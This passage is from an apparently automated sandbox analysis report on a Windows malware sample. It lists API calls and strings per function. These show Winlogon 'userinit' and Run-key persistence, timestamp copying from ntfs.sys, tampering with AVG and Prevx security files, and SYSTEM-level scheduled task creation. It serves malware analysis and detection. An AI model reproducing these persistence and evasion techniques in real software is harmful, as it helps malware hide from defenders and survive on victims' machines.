                                                                                                                                                                                                            • GlobalFindAtomA.KERNEL32(Fri Jun 17 05:52:09 20111), ref: 00402BE4
                                                                                                                                                                                                            • ExitProcess.KERNEL32 ref: 00402BF5
                                                                                                                                                                                                            • GlobalAddAtomA.KERNEL32(Fri Jun 17 05:52:09 20111), ref: 00402C00
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ModuleProcess$AddressFileHandleHeapProc$CountTick$AtomCurrentGlobal$CopyDirectoryExistsExitFindFreeHeaderImageMoveNamePathQuerySystemValidateVirtualWindows_snprintf
                                                                                                                                                                                                            • String ID: %s_$.dat$Fri Jun 17 05:52:09 20111$IsWow64Process$\apppatch\$kernel32.dll$svchost.exe
                                                                                                                                                                                                            • API String ID: 4049655197-4201755136
                                                                                                                                                                                                            • Opcode ID: 76f81366a4f8225247b8614753da15890ae233e837e64cdd9c16a62ed84d21ea
                                                                                                                                                                                                            • Instruction ID: 2b42465635bf5f89377a844675b664ed4d82d183fb77d3ed61f84ac94699b08c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 76f81366a4f8225247b8614753da15890ae233e837e64cdd9c16a62ed84d21ea
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A5718FB15143419BC310EF70DE8896B7BE9BBC8300B54493EF686B72A1D778D944CB99
                                                                                                                                                                                                            Function 00402420 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119fileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,00000023,00000000,00000000,?), ref: 0040243C
                                                                                                                                                                                                            • CreateFileA.KERNELBASE(?,C0000000,00000003,00000000,00000003,00000080,00000000,00000000), ref: 004024A0
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,000017A8,00000000,00000000), ref: 004024C3
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 004024D8
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000B98,00000000,00000000), ref: 004024E4
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 004024F3
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,000017E4,00000000,00000000), ref: 004024FF
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 0040250E
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,000017DC,00000000,00000000), ref: 0040251A
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 00402529
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00003380,00000000,00000000), ref: 00402535
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 00402544
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00402547
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$PointerWrite$CloseCreateFolderHandlePath
                                                                                                                                                                                                            • String ID: \PrevxCSI\csidb.csi
                                                                                                                                                                                                            • API String ID: 606440919-2829233815
                                                                                                                                                                                                            • Opcode ID: 8452569d89d16074c856ebe9e50090442212cf04daf89a05b4dc4c5533925dd3
                                                                                                                                                                                                            • Instruction ID: da06213ca23f861e298ab990455e1520987101534f77d1697d18ba9606f76a1b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8452569d89d16074c856ebe9e50090442212cf04daf89a05b4dc4c5533925dd3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 03314871684218BEF311EB90DC96FEA7768EF89B00F104165F304AA1D0DBF16A45CBA9
                                                                                                                                                                                                            Function 00402810 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 106registryCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 198 402810-40284f RegCreateKeyExA 199 402855-4028b9 GetEnvironmentVariableA PathAddBackslashA GetVolumeInformationA _snprintf 198->199 200 4028dd-4028fe RegCreateKeyExA 198->200 201 4028c0-4028c5 199->201 202 402900-402902 200->202 203 402924-40292a 200->203 201->201 206 4028c7-4028db 201->206 207 402905-40290a 202->207 204 40292c-402937 RegFlushKey RegCloseKey 203->204 205 40293d-402940 203->205 204->205 208 40291e RegSetValueExA 206->208 207->207 209 40290c-40291d 207->209 208->203 209->208
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • RegCreateKeyExA.KERNELBASE(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000000,00000000,00000102,00000000,?,00000000,00000000), ref: 0040284B
                                                                                                                                                                                                            • GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104), ref: 00402866
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 00402873
                                                                                                                                                                                                            • GetVolumeInformationA.KERNELBASE(?,00000000,00000000,000FF0FF,00000000,00000000,00000000,00000000), ref: 00402890
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 004028AB
                                                                                                                                                                                                            • RegCreateKeyExA.ADVAPI32(80000001,software\microsoft\windows\currentversion\run,00000000,00000000,00000000,00000102,00000000,00000000,00000000), ref: 004028FA
                                                                                                                                                                                                            • RegSetValueExA.KERNELBASE(00000000,userinit,00000000,00000001,?,?), ref: 0040291E
                                                                                                                                                                                                            • RegFlushKey.ADVAPI32(00000000), ref: 0040292D
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 00402937
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • software\microsoft\windows\currentversion\run, xrefs: 004028F0
                                                                                                                                                                                                            • userinit, xrefs: 00402918
                                                                                                                                                                                                            • SystemDrive, xrefs: 00402861
                                                                                                                                                                                                            • software\microsoft\windows nt\currentversion\winlogon, xrefs: 00402833
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Create$BackslashCloseEnvironmentFlushInformationPathValueVariableVolume_snprintf
                                                                                                                                                                                                            • String ID: SystemDrive$software\microsoft\windows nt\currentversion\winlogon$software\microsoft\windows\currentversion\run$userinit
                                                                                                                                                                                                            • API String ID: 3547530944-2324515132
                                                                                                                                                                                                            • Opcode ID: a4bf4f337ed71f520bd7e73d3d42088919ba7b50cd5950a846e16a8a3e84f3f8
                                                                                                                                                                                                            • Instruction ID: 580de61d93956de76c260b8cd85b43503f34d02da1fa31da69fbe3ce3aace33d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a4bf4f337ed71f520bd7e73d3d42088919ba7b50cd5950a846e16a8a3e84f3f8
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0F3166B5740305BBE720DB909D4AFEA777CDB95B00F208155FB44BA1D0D6F4AA448BA8
                                                                                                                                                                                                            Function 004013C0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 93processstringCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 272 4013c0-401441 memset * 2 lstrcpynA CreateProcessA 273 401443-401453 272->273 274 40149f-4014a7 272->274 275 401455-40145e GetHandleInformation 273->275 276 40146d-401477 273->276 275->276 279 401460-401464 275->279 277 401491-40149c 276->277 278 401479-401482 GetHandleInformation 276->278 278->277 280 401484-401488 278->280 279->276 281 401466-401467 CloseHandle 279->281 280->277 282 40148a-40148b CloseHandle 280->282 281->276 282->277
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 004013D8
                                                                                                                                                                                                            • memset.MSVCRT ref: 004013FE
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(?,00402BDF,00000104,?,?,?,00000000,00000000,00000000), ref: 00401416
                                                                                                                                                                                                            • CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000,00000000), ref: 00401439
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,00402BDF,?,?,?,00000000,00000000,00000000), ref: 0040145A
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,?,?,00000000,00000000,00000000), ref: 00401467
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,00402BDF,?,?,?,00000000,00000000,00000000), ref: 0040147E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,?,?,00000000,00000000,00000000), ref: 0040148B
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$CloseInformationmemset$CreateProcesslstrcpyn
                                                                                                                                                                                                            • String ID: D
                                                                                                                                                                                                            • API String ID: 2248944234-2746444292
                                                                                                                                                                                                            • Opcode ID: c48a064c7529e876acfcd4e90bb1c684e8bfef1ce1d99d06041c7af5d8c72a1f
                                                                                                                                                                                                            • Instruction ID: 09676c1f46593a06cd44afd8140421a4ba04e6465ccbd83babddadcd264a60ad
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c48a064c7529e876acfcd4e90bb1c684e8bfef1ce1d99d06041c7af5d8c72a1f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 862165B1A002196FDB10DFE4DD85AEF7BBCAB44354F00817AFA08F6291D6349A448BB5
                                                                                                                                                                                                            Function 00401B60 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 76filetimeCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 283 401b60-401b8c CreateFileA 284 401b92-401bae GetFileTime 283->284 285 401c25-401c2a 283->285 286 401bb0-401bbd GetHandleInformation 284->286 287 401bcc-401be9 CreateFileA 284->287 286->287 289 401bbf-401bc3 286->289 287->285 288 401beb-401c07 SetFileTime 287->288 288->285 290 401c09-401c16 GetHandleInformation 288->290 289->287 291 401bc5-401bc6 CloseHandle 289->291 290->285 292 401c18-401c1c 290->292 291->287 292->285 293 401c1e-401c1f CloseHandle 292->293 293->285
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNELBASE(\\?\globalroot\systemroot\system32\drivers\ntfs.sys,80000000,00000003,00000000,00000003,00000080,00000000,00000000,00000000,?,?,?,?,?,00402B87,?), ref: 00401B85
                                                                                                                                                                                                            • GetFileTime.KERNEL32(00000000,?,?,00402B87,?,?,?,?,?,00402B87,?,?,?), ref: 00401B9F
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,?,?,00402B87,?), ref: 00401BB5
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00402B87,?), ref: 00401BC6
                                                                                                                                                                                                            • CreateFileA.KERNELBASE(00000000,C0000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,?,00402B87,?), ref: 00401BE2
                                                                                                                                                                                                            • SetFileTime.KERNELBASE(00000000,?,?,00402B87,?,?,?,?,?,00402B87,?), ref: 00401BF8
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,?,?,00402B87,?), ref: 00401C0E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00402B87,?), ref: 00401C1F
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • \\?\globalroot\systemroot\system32\drivers\ntfs.sys, xrefs: 00401B80
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileHandle$CloseCreateInformationTime
                                                                                                                                                                                                            • String ID: \\?\globalroot\systemroot\system32\drivers\ntfs.sys
                                                                                                                                                                                                            • API String ID: 1046229350-2760794270
                                                                                                                                                                                                            • Opcode ID: a3513c22781d9b883142d906c5a388a7ca545872d8ccd4c85f932c2de55d5d3d
                                                                                                                                                                                                            • Instruction ID: 5c288fe5b10a83830543158496eb663db1d1ba801f64cc380cadfe311b19cddd
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a3513c22781d9b883142d906c5a388a7ca545872d8ccd4c85f932c2de55d5d3d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3721D7725402187BE7219B90DD09FEFBB7CAF84710F108225FF11761D0E774964586A8
                                                                                                                                                                                                            Function 004011C0 Relevance: 13.6, APIs: 9, Instructions: 66fileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(00401C30,?,0000001C), ref: 004011EF
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 00401205
                                                                                                                                                                                                            • PathFileExistsA.KERNELBASE(?), ref: 00401212
                                                                                                                                                                                                            • GetTempPathA.KERNEL32(00000104,?,00000000), ref: 00401229
                                                                                                                                                                                                            • GetTempFileNameA.KERNELBASE(?,00000000,00000000,?), ref: 00401241
                                                                                                                                                                                                            • MoveFileExA.KERNEL32(?,?,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 0040125D
                                                                                                                                                                                                            • SetFileAttributesA.KERNELBASE(?,00000000), ref: 0040126C
                                                                                                                                                                                                            • DeleteFileA.KERNELBASE(?), ref: 00401279
                                                                                                                                                                                                            • MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0040128D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$MoveNamePathTemp$AttributesDeleteExistsModuleQueryVirtual
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2787354276-0
                                                                                                                                                                                                            • Opcode ID: 13bd0b2ba2dd39b79c74d8f201215cd59729224600901bedf3da6c7ccc4d33b0
                                                                                                                                                                                                            • Instruction ID: 6fb89bbc187d80a5bc5b9bf27070627c8da11026cf83192134f00bca91ba5049
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 13bd0b2ba2dd39b79c74d8f201215cd59729224600901bedf3da6c7ccc4d33b0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7C21FCB1900219AFDB50DBA0DD49FEA77BCAB48700F4045A9E705F6190E7B49A54CFA4
                                                                                                                                                                                                            Function 00401000 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 63fileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 303 401000-401009 304 401090-401096 303->304 305 40100f-401012 303->305 305->304 306 401014-401016 305->306 306->304 307 401018-401035 CreateFileA 306->307 308 401086-40108d 307->308 309 401037-40104d WriteFile 307->309 310 40105f-401068 309->310 311 40104f-401058 SetEndOfFile 309->311 310->308 313 40106a-401077 GetHandleInformation 310->313 311->310 312 40105a 311->312 312->310 313->308 314 401079-40107d 313->314 314->308 315 40107f-401080 CloseHandle 314->315 315->308
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNELBASE(?,C0000000,00000003,00000000,00000002,00000080,00000000,00000000,00000000,?,?,00402B5B,00000000), ref: 0040102A
                                                                                                                                                                                                            • WriteFile.KERNELBASE(00000000,[+@,?,00000000,00000000,?,?,00402B5B,00000000), ref: 00401045
                                                                                                                                                                                                            • SetEndOfFile.KERNELBASE(00000000,?,?,00402B5B,00000000), ref: 00401050
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 0040106F
                                                                                                                                                                                                            • CloseHandle.KERNELBASE(00000000), ref: 00401080
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$Handle$CloseCreateInformationWrite
                                                                                                                                                                                                            • String ID: [+@
                                                                                                                                                                                                            • API String ID: 1150544999-2667881658
                                                                                                                                                                                                            • Opcode ID: 21b66d7867ddfbefa27aaeae67b762b005cc489ba47700022ac87a39cc13ab03
                                                                                                                                                                                                            • Instruction ID: c834b12cbe40c0e9b10b40bca9c4cb852a2dca9cf30c5b09766062945076e325
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 21b66d7867ddfbefa27aaeae67b762b005cc489ba47700022ac87a39cc13ab03
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0311E971600244B7E7205B65DD08FAB765DDBC1790F048236FF84F62E0D7758D8082B8
                                                                                                                                                                                                            Function 00402330 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00402348
                                                                                                                                                                                                            • MoveFileA.KERNEL32(?,?), ref: 0040240F
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileFolderMovePath
                                                                                                                                                                                                            • String ID: \AVG\AVG9\dfmcfg.dat$\AVG\AVG9\dfncfg.dat
                                                                                                                                                                                                            • API String ID: 1404575960-1083204512
                                                                                                                                                                                                            • Opcode ID: 85613be8a7ff22d3f2708ffc80a5f36b51ac17d5ce9254ffd30377348588094f
                                                                                                                                                                                                            • Instruction ID: 218ec206f196096905059f0fa712dce574fe6e09d85f3a618a89c2f21692c038
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 85613be8a7ff22d3f2708ffc80a5f36b51ac17d5ce9254ffd30377348588094f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 43214FB45043448FC759CF14EA98B92BBF4BF98300F1581FADA89A73A2D774D944CB98
                                                                                                                                                                                                            Function 0040207A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • FreeLibrary.KERNELBASE(00000000), ref: 0040208C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FreeLibrary
                                                                                                                                                                                                            • String ID: V,@
                                                                                                                                                                                                            • API String ID: 3664257935-3634209070
                                                                                                                                                                                                            • Opcode ID: 2fd4ca95ddf0f334cf370a94dc23c54eb0d0c4c01a3467e788c39c0190814706
                                                                                                                                                                                                            • Instruction ID: d15e959a12f23ccec2fe85088e2afbb8a6d817ea7d7d5b015e5417604cfff27a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2fd4ca95ddf0f334cf370a94dc23c54eb0d0c4c01a3467e788c39c0190814706
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 12D05E76E027298BCB20CF94A5052AEF730FB44731F0043AADE257338083351C118AD4

                                                                                                                                                                                                            Non-executed Functions

                                                                                                                                                                                                            Function 00403440 Relevance: 66.9, APIs: 32, Strings: 6, Instructions: 368memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 0040348E
                                                                                                                                                                                                            • memset.MSVCRT ref: 004034AE
                                                                                                                                                                                                            • memset.MSVCRT ref: 004034CE
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 004034D6
                                                                                                                                                                                                            • GetVersionExA.KERNEL32 ref: 004034F1
                                                                                                                                                                                                              • Part of subcall function 004033A0: GetVersionExA.KERNEL32(?,\\?\globalroot\systemroot\system32\tasks\), ref: 004033C7
                                                                                                                                                                                                              • Part of subcall function 004033A0: GetCurrentProcess.KERNEL32(00000008,00000000), ref: 004033E9
                                                                                                                                                                                                              • Part of subcall function 004033A0: OpenProcessToken.ADVAPI32(00000000), ref: 004033F0
                                                                                                                                                                                                              • Part of subcall function 004033A0: GetTokenInformation.ADVAPI32(00000000,00000012(TokenIntegrityLevel),?,00000004,?), ref: 00403411
                                                                                                                                                                                                              • Part of subcall function 004033A0: CloseHandle.KERNEL32(00000000), ref: 00403427
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 00403535
                                                                                                                                                                                                            • _snwprintf.MSVCRT ref: 0040354E
                                                                                                                                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,?,?,?,?,?,?,00000000,76D6DB30), ref: 004035AB
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,76D6DB30), ref: 004035F7
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,76D6DB30), ref: 004035FE
                                                                                                                                                                                                            • memset.MSVCRT ref: 00403616
                                                                                                                                                                                                            • _snwprintf.MSVCRT ref: 00403630
                                                                                                                                                                                                            • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00403653
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040366A
                                                                                                                                                                                                            • GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040367E
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • \\?\globalroot\systemroot\system32\tasks\, xrefs: 00403477
                                                                                                                                                                                                            • 00-->, xrefs: 0040371F
                                                                                                                                                                                                            • task%d, xrefs: 0040353C
                                                                                                                                                                                                            • p=Dv, xrefs: 0040382B
                                                                                                                                                                                                            • <Actions , xrefs: 004036EA
                                                                                                                                                                                                            • <Principals> <Principal id="LocalSystem"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> , xrefs: 00403454
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Filememset$Process$HeapTokenVersion_snwprintf$AdminAllocCloseCountCreateCurrentHandleInformationModuleNameOpenPointerSizeTickUser
                                                                                                                                                                                                            • String ID: <Principals> <Principal id="LocalSystem"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> $00-->$<Actions $\\?\globalroot\systemroot\system32\tasks\$p=Dv$task%d
                                                                                                                                                                                                            • API String ID: 1601901853-2684908384
                                                                                                                                                                                                            • Opcode ID: d0b0790f7991d78f00ea7e7fde430ce6b596ebd0b63758b6d90d9f24c7b2decc
                                                                                                                                                                                                            • Instruction ID: fd62d51515435fe7aa577a9a46339635c431e4e957a39cb3738b378977d63dce
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d0b0790f7991d78f00ea7e7fde430ce6b596ebd0b63758b6d90d9f24c7b2decc
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C5D1E0B2504301ABC720EF64CC48B5B7BA8EFC8751F048669FA45A72D1E774EA04CB99
                                                                                                                                                                                                            Function 004017F0 Relevance: 52.7, APIs: 29, Strings: 1, Instructions: 234memoryprocessCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 0040181B
                                                                                                                                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,75C25430,00000000,?), ref: 00401833
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,-00000011), ref: 0040185D
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 00401860
                                                                                                                                                                                                            • memset.MSVCRT ref: 00401873
                                                                                                                                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000000), ref: 00401898
                                                                                                                                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 004018AC
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,-00000011), ref: 004018CA
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 004018CD
                                                                                                                                                                                                            • memset.MSVCRT ref: 004018DD
                                                                                                                                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,00401E65,000000FF,00000000,00000000), ref: 004018FF
                                                                                                                                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 00401913
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000015), ref: 00401933
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 0040193A
                                                                                                                                                                                                            • memset.MSVCRT ref: 0040194A
                                                                                                                                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00401967
